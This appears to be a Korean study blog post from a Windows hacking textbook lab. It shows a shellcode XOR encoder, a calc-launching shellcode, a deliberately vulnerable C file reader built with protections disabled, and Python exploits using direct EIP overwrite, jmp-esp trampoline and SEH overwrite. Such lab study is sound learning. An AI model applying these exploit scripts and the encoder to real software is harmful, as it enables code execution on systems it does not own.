윈도우 시스템 해킹 - 스택 버퍼 오버플로우

March 13, 2020    6 분 소요

[윈도우 시스템 해킹 가이드 / 김현민 저]
위의 책을 보면서 실습한 코드를 정리함.

Visual Studio로 보안 옵션을 해제한 후 컴파일하여 취약 프로그램을 만들고 Exploit 하였다. 보안 옵션은 다음과 같다. 설명은 링크 참조.

  • 프로젝트 속성 > C/C++ > 코드 생성 > 보안 검사
  • 프로젝트 속성 > 링커 > 고급 > DEP(데이터 실행 방지)
  • 프로젝트 속성 > 링커 > 고급 > 임의 기준 주소
  • 프로젝트 속성 > 링커 > 고급 > 이미지에 안전한 예외 처리기 포함

참조링크


# ShellCode

이전 실습때 cmd를 띄우는 쉘코드를 약간 수정하여 계산기를 띄우도록 하는 쉘코드를 작성하였다. 이번 실습땐 strcpyfgets를 사용하기 때문에 특정 제어문자들을 제외할 필요가 있어서 Encoder를 통해 그러한 제어문자들을 제거시켜 주었다.

import os, sys, random

def xor(data, key):
	leng = len(key)
	reverse = b""
	for i in range(0, len(data)):
		reverse += bytes([(data[i] ^ (key[i % leng]))])	# XOR
	return reverse

def conv_hex(data):
	hex_str = ""
	for i in range(0, len(data)):
		tmp = hex(data[i])[2:]
		if len(tmp) == 1:
			tmp = "0" + tmp
		hex_str += ("0x%s" % tmp).replace('0x', '\\x')
	return hex_str

org_shellcode = (
	b"\x8B\xEC\xEB\x30\x42\xAD\x60\x03\xD8\x8B\xF3\x33\xC0\x33\xFF\xAC"
	b"\x03\xF8\x84\xC0\x75\xF9\x89\x7D\x10\x61\x39\x7D\x10\x75\xE5\x0F"
	b"\xB7\x54\x51\xFE\x8B\x7D\x18\x8B\x77\x1C\x03\xF3\x8B\x3C\x96\x03"
	b"\xFB\x8B\xC7\xC3\x64\xA1\x30\x00\x00\x00\x8B\x40\x0C\x8B\x40\x14"
	b"\x8B\x18\x8B\x1B\x8B\x5B\x10\x8B\x7B\x3C\x03\xFB\x8B\x7F\x78\x03"
	b"\xFB\x89\x7D\x18\x8B\x77\x20\x03\xF3\x8B\x4F\x24\x03\xCB\x33\xD2"
	b"\x60\x33\xFF\x66\xBF\xB3\x02\xE8\x98\xFF\xFF\xFF\x89\x45\x20\x61"
	b"\x33\xFF\x66\xBF\x79\x04\xE8\x89\xFF\xFF\xFF\x89\x45\x24\x33\xC0"
	b"\xC6\x45\x0C\x63\xC6\x45\x0D\x61\xC6\x45\x0E\x6C\xC6\x45\x0F\x63"
	b"\x89\x45\x10\x33\xC0\x40\x50\x8D\x45\x0C\x50\xFF\x55\x20\x33\xC0"
	b"\x50\xFF\x55\x24"
)

noText = [ 0x0, 0x0a, 0xd ]
while True:
	xor_key = os.urandom(4)
	xor_shellcode = xor(org_shellcode, xor_key)
	test = xor_shellcode + xor_key
	isText = True
	for b in test:
		if b in noText:
			print(type(b), b, type(noText[0]))
			isText = False
			break
	if isText == True:
		break

decoder1 = b"\xe8\xff\xff\xff\xff\xc2\x5e"
decoder2 = b"\x33\xc9\xb1" + bytes([len(org_shellcode)//4 + 1])
decoder3 = b"\xbf" + xor_key
decoder_rand = [decoder1, decoder2, decoder3]
random.shuffle(decoder_rand)
decoder = b"".join(decoder_rand)
getpc_offset = len(decoder) - decoder.index(decoder1) + 3
decoder4 = b"\x31\x7e" + bytes([getpc_offset]) + b"\x83\xc6\x04" + b"\xe2\xf8"
decoder += decoder4

print(" [+] Window Calc_Shellcode")
print("Key : " + conv_hex(xor_key) + "\n")
print("Orginal : " + conv_hex(org_shellcode)+ "\n")
print("Encoded : " + conv_hex(decoder) + conv_hex(xor_shellcode) + "\n")
string = conv_hex(decoder) + conv_hex(xor_shellcode)

for idx, char in enumerate(string):
	if idx % 64 == 0:
		print("\tb\"", end='')
	print(char, end='')
	if idx % 64 == 63 or idx == len(string) - 1:
		print("\"")

org_shellcode가 계산기를 띄워주는 universal shellcode이고 noText 배열의 문자는 들어가지 않도록 인코딩하였다. 매번 다르게 나오기 때문에 이 글에서는 아래의 쉘코드로 했음을 미리 명시한다.

참고로 이전 실습 때 작성하였던 universal shellcode와 달리 초반에 mov ebp, esp 명령어를 추가해 주었는데, 이는 stack overflow가 일어나면서 ebp값이 꼬이는 상황을 대비해 다시 스택부분을 가리키도록 하기 위함이다.

b"\xe8\xff\xff\xff\xff\xc2\x5e\x33\xc9\xb1\x2a\xbf\xce\xe7\xd6\xa7"
b"\x31\x7e\x13\x83\xc6\x04\xe2\xf8\x45\x0b\x3d\x97\x8c\x4a\xb6\xa4"
b"\x16\x6c\x25\x94\x0e\xd4\x29\x0b\xcd\x1f\x52\x67\xbb\x1e\x5f\xda"
b"\xde\x86\xef\xda\xde\x92\x33\xa8\x79\xb3\x87\x59\x45\x9a\xce\x2c"
b"\xb9\xfb\xd5\x54\x45\xdb\x40\xa4\x35\x6c\x11\x64\xaa\x46\xe6\xa7"
b"\xce\xe7\x5d\xe7\xc2\x6c\x96\xb3\x45\xff\x5d\xbc\x45\xbc\xc6\x2c"
b"\xb5\xdb\xd5\x5c\x45\x98\xae\xa4\x35\x6e\xab\xbf\x45\x90\xf6\xa4"
b"\x3d\x6c\x99\x83\xcd\x2c\xe5\x75\xae\xd4\x29\xc1\x71\x54\xd4\x4f"
b"\x56\x18\x29\x58\x47\xa2\xf6\xc6\xfd\x18\xb0\x18\xb7\xe3\x3e\x2e"
b"\x31\x18\x29\x2e\x8b\xc3\xe5\x67\x08\xa2\xda\xc4\x08\xa2\xdb\xc6"
b"\x08\xa2\xd8\xcb\x08\xa2\xd9\xc4\x47\xa2\xc6\x94\x0e\xa7\x86\x2a"
b"\x8b\xeb\x86\x58\x9b\xc7\xe5\x67\x9e\x18\x83\x83"

# Direct EIP Overwrite

Retern 주소를 쉘코드 주소로 설정하면 된다.

1. Vulnerable Code

취약한 코드는 아래와 같다.

#pragma warning(disable:4996)
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char* argv[]) {

	char printbuf[500] = { 0, };
	char readbuf[2000] = { 0, };
	printf("[+] Text Reader\n");
	if (argc != 2) {
		printf("	Usage : reader.exe filename\n");
		exit(1);
	}
	FILE *f = fopen(argv[1], "r");
	fgets(readbuf, 2000, f);
	strcpy(printbuf, readbuf);
	printf("File Contents : %s\n", printbuf);
	return 0;
}

보안 옵션

  • 보안 검사 : 보안 검사 사용 안함(/GS-)
  • DEP(데이터 실행 방지) : 아니요(/NXCOMPAT:NO)
  • 임의 기준 주소 : 아니요(/DYNAMICBASE:NO)
  • 이미지에 안전한 예외 처리기 포함 : 아니요(/SAFESEH:NO)

2. Exploit Code

이를 exploit하는 txt를 생성하는 python 코드는 아래와 같다.

# reader.exe exploit
import struct

print("[+] Create text file...")
NOP = b"\x90" * 100

SHELLCODE = (
        b"\xe8\xff\xff\xff\xff\xc2\x5e\x33\xc9\xb1\x2a\xbf\xce\xe7\xd6\xa7"
        b"\x31\x7e\x13\x83\xc6\x04\xe2\xf8\x45\x0b\x3d\x97\x8c\x4a\xb6\xa4"
        b"\x16\x6c\x25\x94\x0e\xd4\x29\x0b\xcd\x1f\x52\x67\xbb\x1e\x5f\xda"
        b"\xde\x86\xef\xda\xde\x92\x33\xa8\x79\xb3\x87\x59\x45\x9a\xce\x2c"
        b"\xb9\xfb\xd5\x54\x45\xdb\x40\xa4\x35\x6c\x11\x64\xaa\x46\xe6\xa7"
        b"\xce\xe7\x5d\xe7\xc2\x6c\x96\xb3\x45\xff\x5d\xbc\x45\xbc\xc6\x2c"
        b"\xb5\xdb\xd5\x5c\x45\x98\xae\xa4\x35\x6e\xab\xbf\x45\x90\xf6\xa4"
        b"\x3d\x6c\x99\x83\xcd\x2c\xe5\x75\xae\xd4\x29\xc1\x71\x54\xd4\x4f"
        b"\x56\x18\x29\x58\x47\xa2\xf6\xc6\xfd\x18\xb0\x18\xb7\xe3\x3e\x2e"
        b"\x31\x18\x29\x2e\x8b\xc3\xe5\x67\x08\xa2\xda\xc4\x08\xa2\xdb\xc6"
        b"\x08\xa2\xd8\xcb\x08\xa2\xd9\xc4\x47\xa2\xc6\x94\x0e\xa7\x86\x2a"
        b"\x8b\xeb\x86\x58\x9b\xc7\xe5\x67\x9e\x18\x83\x83"
)

print("Shellcode Length :", len(SHELLCODE))
DUMMY = b"A" * (500 - len(NOP + SHELLCODE)) + b"\xCC"*4 + b"A"*4
BUF = struct.pack('<L', 0x19FCFC)
contents = NOP + SHELLCODE + DUMMY + BUF

f = open("test.txt", "wb")
f.write(contents)
f.close()
print("[+] Done !!")

DUMMY 변수를 보면 책과 달리 b"\xCC"*4를 넣어준 것을 볼 수 있다. 처음에는 책과 비슷하게 코드를 작성하였으나, Stack관련 버그 메시지가 떴다. Ollydbg로 분석한 결과, 함수가 종료될 때 버퍼의 끝을 0xCCCCCCCC 와 비교하여 다르면 버그 메시지를 띄우는 함수가 있었다. (위에서 언급된 보안 옵션은 모두 해제한 상태였다.) 따라서 이를 우회하기 위해 위와 같이 처리해 주었다.


# Trampoline Technique

Retern 주소를 메모리 어딘가에 있는 jmp esp의 주소로 바꾸고, 그 뒤에 shellcode를 삽입함. Ret 명령어가 실행되면 esp는 쉘코드의 주소를 가리키게 되고, 이후 jmp esp에 의해 쉘코드가 실행된다.

메모리 어딘가에 있는 jmp esp는 분석때와 공격시에 동일한 위치에 존재해야 하므로 kernel32.dll에서 검색하는 것이 좋다. 아마 이런 dll도 로딩될 때 매번 다른 주솟값을 할당 받겠지만, 재할당되는 일이 거의 없기 때문에 재부팅 전까지는 주솟값이 유지되는 것 같다. 참고로 Ollydbg에서 Memory 창에 들어간 후 KERNELBASE 를 한번 클릭하고 ctrl + b를 눌러 “FF E4”를 검색하면 유효한 jmp esp의 주솟값을 구할 수 있다.

1. Vulnerable Code

동일한 취약한 코드에서 ASLR을 추가해주었다.

#pragma warning(disable:4996)
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char* argv[]) {

	char printbuf[500] = { 0, };
	char readbuf[2000] = { 0, };
	printf("[+] Text Reader\n");
	if (argc != 2) {
		printf("	Usage : reader.exe filename\n");
		exit(1);
	}
	FILE *f = fopen(argv[1], "r");
	fgets(readbuf, 2000, f);
	strcpy(printbuf, readbuf);
	printf("File Contents : %s\n", printbuf);
	return 0;
}

보안 옵션

  • 보안 검사 : 보안 검사 사용 안함(/GS-)
  • DEP(데이터 실행 방지) : 아니요(/NXCOMPAT:NO)
  • 임의 기준 주소 : 예(/DYNAMICBASE)
  • 이미지에 안전한 예외 처리기 포함 : 아니요(/SAFESEH:NO)

2. Exploit Code

# reader_aslr.exe exploit
import struct

print("[+] Create text file...")
NOP = b"\x90" * 100

SHELLCODE = (
        b"\xe8\xff\xff\xff\xff\xc2\x5e\x33\xc9\xb1\x2a\xbf\xce\xe7\xd6\xa7"
        b"\x31\x7e\x13\x83\xc6\x04\xe2\xf8\x45\x0b\x3d\x97\x8c\x4a\xb6\xa4"
        b"\x16\x6c\x25\x94\x0e\xd4\x29\x0b\xcd\x1f\x52\x67\xbb\x1e\x5f\xda"
        b"\xde\x86\xef\xda\xde\x92\x33\xa8\x79\xb3\x87\x59\x45\x9a\xce\x2c"
        b"\xb9\xfb\xd5\x54\x45\xdb\x40\xa4\x35\x6c\x11\x64\xaa\x46\xe6\xa7"
        b"\xce\xe7\x5d\xe7\xc2\x6c\x96\xb3\x45\xff\x5d\xbc\x45\xbc\xc6\x2c"
        b"\xb5\xdb\xd5\x5c\x45\x98\xae\xa4\x35\x6e\xab\xbf\x45\x90\xf6\xa4"
        b"\x3d\x6c\x99\x83\xcd\x2c\xe5\x75\xae\xd4\x29\xc1\x71\x54\xd4\x4f"
        b"\x56\x18\x29\x58\x47\xa2\xf6\xc6\xfd\x18\xb0\x18\xb7\xe3\x3e\x2e"
        b"\x31\x18\x29\x2e\x8b\xc3\xe5\x67\x08\xa2\xda\xc4\x08\xa2\xdb\xc6"
        b"\x08\xa2\xd8\xcb\x08\xa2\xd9\xc4\x47\xa2\xc6\x94\x0e\xa7\x86\x2a"
        b"\x8b\xeb\x86\x58\x9b\xc7\xe5\x67\x9e\x18\x83\x83"
	)

print("Shellcode Length :", len(SHELLCODE))
DUMMY = b"A" * 500 + b"\xCC"*4 + b"A"*4
DUMMY2 = b"\x90" * 28      # This is for stack use
JMP = struct.pack('<L',0x75184967)
contents = DUMMY + JMP + DUMMY2 + SHELLCODE

f = open("test.txt", "wb")
f.write(contents)
f.close()
print("[+] Done !!")

마찬가지로 xCCCCCCCC를 버퍼의 끝에 삽입해 주었다.


# SEH Overwrite

윈도우 스택 보호 기법중 스택쿠키 기법이 있다. 이는 SFP위에 랜덤한 쿠키값을 두어 함수 종료부에 이 값이 변조되었는지 검사하는 것이다. 이를 우회하기 위해 SEH Overwrite 기법을 사용할 수 있다.

SEH의 구조에 대해서 좀 더 깊게 확인해보고 싶어서 [리버싱 핵심 원리]의 SEH 부분을 정독한 후 실습을 진행하였다. 간단하게 설명하자면 윈도우에서 예외가 발생할 때 예외처리 로직이 수행되는데, 각 예외처리에 대한 로직들(handler)이 연결리스트의 형태로 존재한다. 연결리스트의 요소는 next와 handler로 구성되어 있고 스택에 저장된다. 연결리스트의 첫 요소가 제일 최근에 추가한 요소가 되고, 해당 예외처리가 해결이 될 때까지 연결리스트를 참조한다.

예외가 발생하면 첫번째 handler주소의 코드를 실행한다. 이 때, 두번째 파라미터($ebp - 0x8)로 현재 요소의 주솟값이 들어간다. 따라서 첫번째 handler의 주소가 pop; pop; retn;을 가리키고 첫번째 next부분을 jmp로 바꾸면 쉘코드를 실행시킬 수 있다.

=> 이해가 안갈 때는 책을 다시 보자.. 나도 헷갈림.

pop; pop; retn은 immunity debugger의 pycommand 기능을 사용하여 찾을 수 있다. !search pop r32\npop r32\nretn 명령어를 통해 검색을 하고, SafeSEH가 적용되어 있지 않은 취약 코드 모듈 부분을 선택하면 된다.

1. Vulnerable Code

#pragma warning(disable:4996)
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char* argv[]) {

	char readbuf[500] = { 0, };
	printf("[+] Text Reader\n");
	if (argc != 2) {
		printf("	Usage : reader.exe filename\n");
		exit(1);
	}
	FILE *f = fopen(argv[1], "r");
	fgets(readbuf, 3000, f);
	printf("File Contents : %s\n", readbuf);
	return 0;
}

보안 옵션

  • 보안 검사 : 보안 검사 사용 안함(/GS-)
  • DEP(데이터 실행 방지) : 아니요(/NXCOMPAT:NO)
  • 임의 기준 주소 : 예(/DYNAMICBASE)
  • 이미지에 안전한 예외 처리기 포함 : 아니요(/SAFESEH:NO)

스택에 3000 byte정도 할당되어 있는 것 같아서 안전하게 3000만큼 입력받도록 하였다.

2. Exploit Code

# reader_seh.exe exploit
import struct

shellcode = (
        b"\xe8\xff\xff\xff\xff\xc2\x5e\x33\xc9\xb1\x2a\xbf\xce\xe7\xd6\xa7"
        b"\x31\x7e\x13\x83\xc6\x04\xe2\xf8\x45\x0b\x3d\x97\x8c\x4a\xb6\xa4"
        b"\x16\x6c\x25\x94\x0e\xd4\x29\x0b\xcd\x1f\x52\x67\xbb\x1e\x5f\xda"
        b"\xde\x86\xef\xda\xde\x92\x33\xa8\x79\xb3\x87\x59\x45\x9a\xce\x2c"
        b"\xb9\xfb\xd5\x54\x45\xdb\x40\xa4\x35\x6c\x11\x64\xaa\x46\xe6\xa7"
        b"\xce\xe7\x5d\xe7\xc2\x6c\x96\xb3\x45\xff\x5d\xbc\x45\xbc\xc6\x2c"
        b"\xb5\xdb\xd5\x5c\x45\x98\xae\xa4\x35\x6e\xab\xbf\x45\x90\xf6\xa4"
        b"\x3d\x6c\x99\x83\xcd\x2c\xe5\x75\xae\xd4\x29\xc1\x71\x54\xd4\x4f"
        b"\x56\x18\x29\x58\x47\xa2\xf6\xc6\xfd\x18\xb0\x18\xb7\xe3\x3e\x2e"
        b"\x31\x18\x29\x2e\x8b\xc3\xe5\x67\x08\xa2\xda\xc4\x08\xa2\xdb\xc6"
        b"\x08\xa2\xd8\xcb\x08\xa2\xd9\xc4\x47\xa2\xc6\x94\x0e\xa7\x86\x2a"
        b"\x8b\xeb\x86\x58\x9b\xc7\xe5\x67\x9e\x18\x83\x83"
	)

print("[+] Create text file...")
dummy = b"A" * 600
nseh = struct.pack('<L', 0x909006eb)    # nop nop jmp
# seh = struct.pack('<L', 0x2D20E2)
seh = struct.pack('<L', 0x2D20E2)
contents = dummy + nseh + seh + shellcode + b"A" * 3000
f = open("test.txt", "wb")
f.write(contents)
f.close()
  • 왜 safeSEH가 적용되어있지 않은 모듈의 코드를 사용해야하나?

    safeSEH가 적용되어 있으면 Handler가 실행되기 전 운영체제에서 Handler의 주소값을 검증해서 원하는대로 실행이 안된다.

  • ASLR이 적용되었는데 고정주소의 명령어를 어떻게 찾나?

    ASLR이 text section은 randomize하지 않음.